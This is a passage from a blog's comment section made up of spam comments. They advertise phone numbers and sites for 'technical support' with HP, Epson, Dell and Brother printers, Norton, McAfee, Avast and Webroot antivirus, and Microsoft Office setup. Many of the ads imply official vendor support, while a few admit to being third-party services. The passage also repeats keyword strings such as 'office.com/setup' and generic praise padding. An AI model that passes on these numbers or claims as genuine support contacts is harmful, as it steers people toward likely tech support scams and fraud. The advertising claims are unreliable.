  111. http://www.hpprintertechsupport.net
    Hp Printer Technical Support
    Welcome to hpprintertechsupport.net for online assistance for exclusively for the HP products users of Canada and USA, HP technical support phone number offer online remote assistance for HP products and help HP users searching for online remote support to resolve issues affecting the HP devices.

    ReplyDelete
  112. most of the blogs faux themselves as most usable and up to date blogs with new records but one day fact may want to probable great. I need to percent a few information related to this task an exceptional way to help humans to decorate their capabilities. Dell PowerEdge R430

    ReplyDelete
  113. Thank you for the sharing good knowledge and information its very helpful and understanding.. as we are looking for this information since long time

    123 HP COM SETUP

    ReplyDelete
  114. http://www.printersupportnumbers.com/
    Printer Technical Support Number
    The team will help you choose the right printer and cartridges for your needs if you are not sure of which device to buy for your particular needs. Reach out to us and enjoy hazel free end to end printer support.

    ReplyDelete
  115. Norton.com/setup Online Help – Step by Step guide for Norton Setup, Download & complete installation online. We are providing independent support service if in case you face problem to activate or Setup Norton product.
    norton.com/setup

    office.com/setup Online Help – Step by Step guide for Office Setup, Download & complete installation online. We are providing independent support service if in case you face problem to activate or Setup Office product.
    office.com/setup

    mcafee.com/activate Online Help – Step by Step guide for mcafee activate, Download & complete installation online. We are providing independent support service if in case you face problem to activate or Setup mcafee product.
    mcafee.com/activate

    Pogo Support - Call 1-844-456-8733 (US/CA) or 01444 39 0119 (UK) for Pogo-related issues. Any errors or issues will be fixed by us related to Pogo Games.
    pogo support


    Norton Reinstall – Norton has developed a Norton reinstall and removal tool to provides the ease of Un-installation and Re-installation. The Norton Antivirus offers you the protection from the malware, viruses, and other online threats like identity theft and data theft while shop online.
    Norton Reinstall

    Norton.com/setup Online Help – Step by Step guide for Norton Setup, Download & complete installation online. We are providing independent support service if in case you face problem to activate or Setup Norton product.
    norton.com/setup

    ReplyDelete
  116. Before you plan to install the Office 2016 or Office 365 on your device be
    it a Computer, Laptop, Mobile Phone or a Tablet, you are required to take
    few important steps on of them is to remove any existing Office
    installations from your PC. Just like the previous Office products, Office
    2016 & 365 will conflict with the previously installed versions. So, it
    becomes necessary to remove the previous office files properly.



    setup.office.com

    ReplyDelete
  117. To Setup retail card please visit official website.
    Office Retail Cards allow you to download your security product from the
    internet instead of installing from a CD, ensuring recent versions.


    www.office.com/myaccount

    ReplyDelete
  118. Microsoft office setup is the software setup file with this setup file you can install on your computer and some of the supported device to use Microsoft office.

    www.office.com/setup

    ReplyDelete
  119. This comment has been removed by the author.

    ReplyDelete
  120. Webroot Support - Call 1-844-456-8733 (US/CA) for Webroot Installation, Activation, Configuration, Billing, Renewal or any other queries. Contact our Webroot technical support to get Best Webroot Customer Service\
    webroot support

    ReplyDelete
  121. dell 1-844-456-8733 (US/CA) any Installation, Drivers, Repair, Errors and many more. Get Online Resolution anytime by Technical Support.
    dell printer support

    ReplyDelete
  122. Epson Printer Support - Get Quick Setup for Wireless Epson Printer Install by calling
    Epson Printer Support number 1-844-456-8733 (US/CA) Toll-free.
    Epson Printer Support

    ReplyDelete
  123. HP Printer Support - Call HP Technical Support Phone Number 1-844-456-8733 (US/CA) or 01444 39 0119 (UK) for any HP Printer related issues.
    hp Printer Support

    ReplyDelete
  124. Garmin Download at www.garmin.com/express. Register, Update and sync your Garmin Express today and get started with your Garmin Maps.
    garmin.com/express

    ReplyDelete
  125. Brother Printer Support - - Brother Printer Support 1-844-456-8733 (US/CA) any Installation, Drivers, Repair, Errors and many more. Get Online Resolution anytime by Technical Support.
    Brother Printer Support

    ReplyDelete
  126. Microsoft office setup is the software setup file with this setup file you can install on your computer and some of the supported device to use Microsoft office.
    www.office.com/setup
    office.com/setup
    office com setup

    ReplyDelete
  127. We are a third party technical support service. Avast Customer Support is here to help you out with the whole procedure to Download Avast Antivirus online, We not only fix your Avast Support related issues but will guide with how to get started with your new Avast product once it gets installed successfully.We at Avast Tech Support provides service to protect your PC from potential online threats and external attacks like viruses, Trojans, malwares, spywares and phishing scams. And Avast Refund. Call on our Avast Phone Number.
    Norton Tech Support is a third party service provider and not in any way associated with Norton or any of its partner companies. At Norton Support we offer support for Norton products and sell subscription based additional warranty on computer and other peripheral devices.

    Norton.com/setup
    Norton.com setup
    Norton setup

    ReplyDelete
  128. heyman ! thanks for this informative blog .. looking for .office.com/setup,www.office.com/setup..then just feel free to call us on 1-844-666-8616

    ReplyDelete
  129. Microsoft office setup is the software setup file with this setup file you can install on your computer and some of the supported device to use Microsoft office.
    www.office.com/setup
    office.com/setup
    office com setup

    ReplyDelete



  130. with your entire process to setup office product online. Have you Just bought Microsoft Office product ? If yes then you can complete your Office Setup online with your product key code. You just need open office.com/setup , Install Office , Install Microsoft Office or setup.office.com into your web browser.

    office setup
    www.office.com/setup
    office.com/setup

    ReplyDelete

  131. In case any message saying ‘Stop’ pops up while installing Microsoft Office 365 due to a compatibility issue, contact our live chat support.Our online Experts through live chat will guide you through the entire process of Office setup, covering all steps and issues.Keep your 25 characters long product key with you.


    Office Com Setup
    office com/setup
    www.office.com/setup

    ReplyDelete
  132. Microsoft office setup is the software setup file with this setup file you can install on your computer and some of the supported device to use Microsoft office.
    www.office.com/setup
    office.com/setup
    office com setup

    ReplyDelete
  133. We are a third party technical support service. Avast Customer Support is here to help you out with the whole procedure to Download Avast Antivirus online, We not only fix your Avast Support related issues but will guide with how to get started with your new Avast product once it gets installed successfully.We at Avast Tech Support provides service to protect your PC from potential online threats and external attacks like viruses, Trojans, malwares, spywares and phishing scams. And Avast Refund. Call on our Avast Phone Number.
    Norton Tech Support is a third party service provider and not in any way associated with Norton or any of its partner companies. At Norton Support we offer support for Norton products and sell subscription based additional warranty on computer and other peripheral devices.
    Norton.com/setup
    Norton.com setup
    Norton setup

    ReplyDelete
  134. Thanks for some other informative website. The place else may just I
    get that type of information written in such a perfect means?
    I've a mission that I am just now running on, and I have been at the
    glance out for such information.

    ReplyDelete
  135. setup and activate office com setup office.com/setup with product key and mcafee product
    mcafee.com/activate and office 365 respectively office.com/setup | This is very unique i really appreciate your work doing good job. for applw support visit apple number

    ReplyDelete
  136. Sometimes using hp printers can be very hectic due to hp printer paper jam issue,hp printer setup,or hp printer installation. dont worry at all we are here to help you. contact hp printer support

    ReplyDelete
  137. We are a third party technical support service. Avast Customer Support is here to help you out with the whole procedure to Download Avast Antivirus online, We not only fix your Avast Support related issues but will guide with how to get started with your new Avast product once it gets installed successfully.We at Avast Tech Support provides service to protect your PC from potential online threats and external attacks like viruses, Trojans, malwares, spywares and phishing scams. And Avast Refund. Call on our Avast Phone Number.
    Norton Tech Support is a third party service provider and not in any way associated with Norton or any of its partner companies. At Norton Support we offer support for Norton products and sell subscription based additional warranty on computer and other peripheral devices.
    Norton.com/setup
    Norton.com setup
    Norton setup

    ReplyDelete
  138. loved the content.
    please post some more
    HP Printer is the most essential for both household and official purposes. And their maintenance is equally important, otherwise, there are few common issues which effects your work such as hp printer setup, hp printer installation, hp printer paper jam issue etc. To ask anything related to these issues contact us by visiting our website.
    Sometimes using hp printers can be very hectic due to hp printer paper jam issue,hp printer setup,or hp printer installation. dont worry at all we are here to help you. contact hp printer support

    ReplyDelete
  139. How to connect Hp Printer network wireless tech support number connect Hp Printer network wireless 1877-929-3373 tech support number .Click the Start button, and then, on the Start menu, click Devices and Printers.Click Add a printer.In the Add Printer wizard, click Add a network, wireless or Bluetooth printer.In the list of available printers, select the one you want to use, and then click Next.If you face any other issues call me at 1877-929-3373 any time any where 24*7 hour.

    ReplyDelete
  140. setup and activate office com setup office.com/setup with product key and mcafee product
    mcafee.com/activate and office 365 respectively office.com/setup | This is very unique i really appreciate your work doing good job. for applw support visit apple number

    ReplyDelete
  141. Great post! I am actually getting ready to across this information, is very helpful my friend. Also great blog here with all of the valuable information you have. Keep up the good work you are doing here.
    It was a great informative post.Go so many useful and informative links.Loved your writings also. Concept of the topic was well discussed. Love to come here again.
    Thanks!
    Regards - www.office.com/setup

    ReplyDelete
  142. This is very interesting, You’re a very skilled blogger. I have joined your feed and look forward to seeking more of your fantastic post. Also, I have shared your web site in my social networks!
    Regards - www.office.com/setup

    ReplyDelete
  143. Install full MICROSOFT office setup 365 with our support. Now setting up your account will be a cakewalk with us.

    Setup and Install Office 2017/2018 365 on your Mac/PC with genuine OFFICE PRODUCT key.
    Word, Excel, PowerPoint, Outlook, OneNote and OneDrive, on your PC,Publisher and Access.Everything you need for home, education and work.
    We are providing independent support service if in case you face problem to activate or SETUP OFFICE product.

    Regards - www.office.com/setup

    ReplyDelete
  144. Many thanks for sharing this info, I saved the site. I’m furthermore interested in information about leather sofa cleaning service, have you any idea the place where I could come across one thing like this? I will be back in a little while! Yeh Pyaar Nahi Toh Kya Hai

    ReplyDelete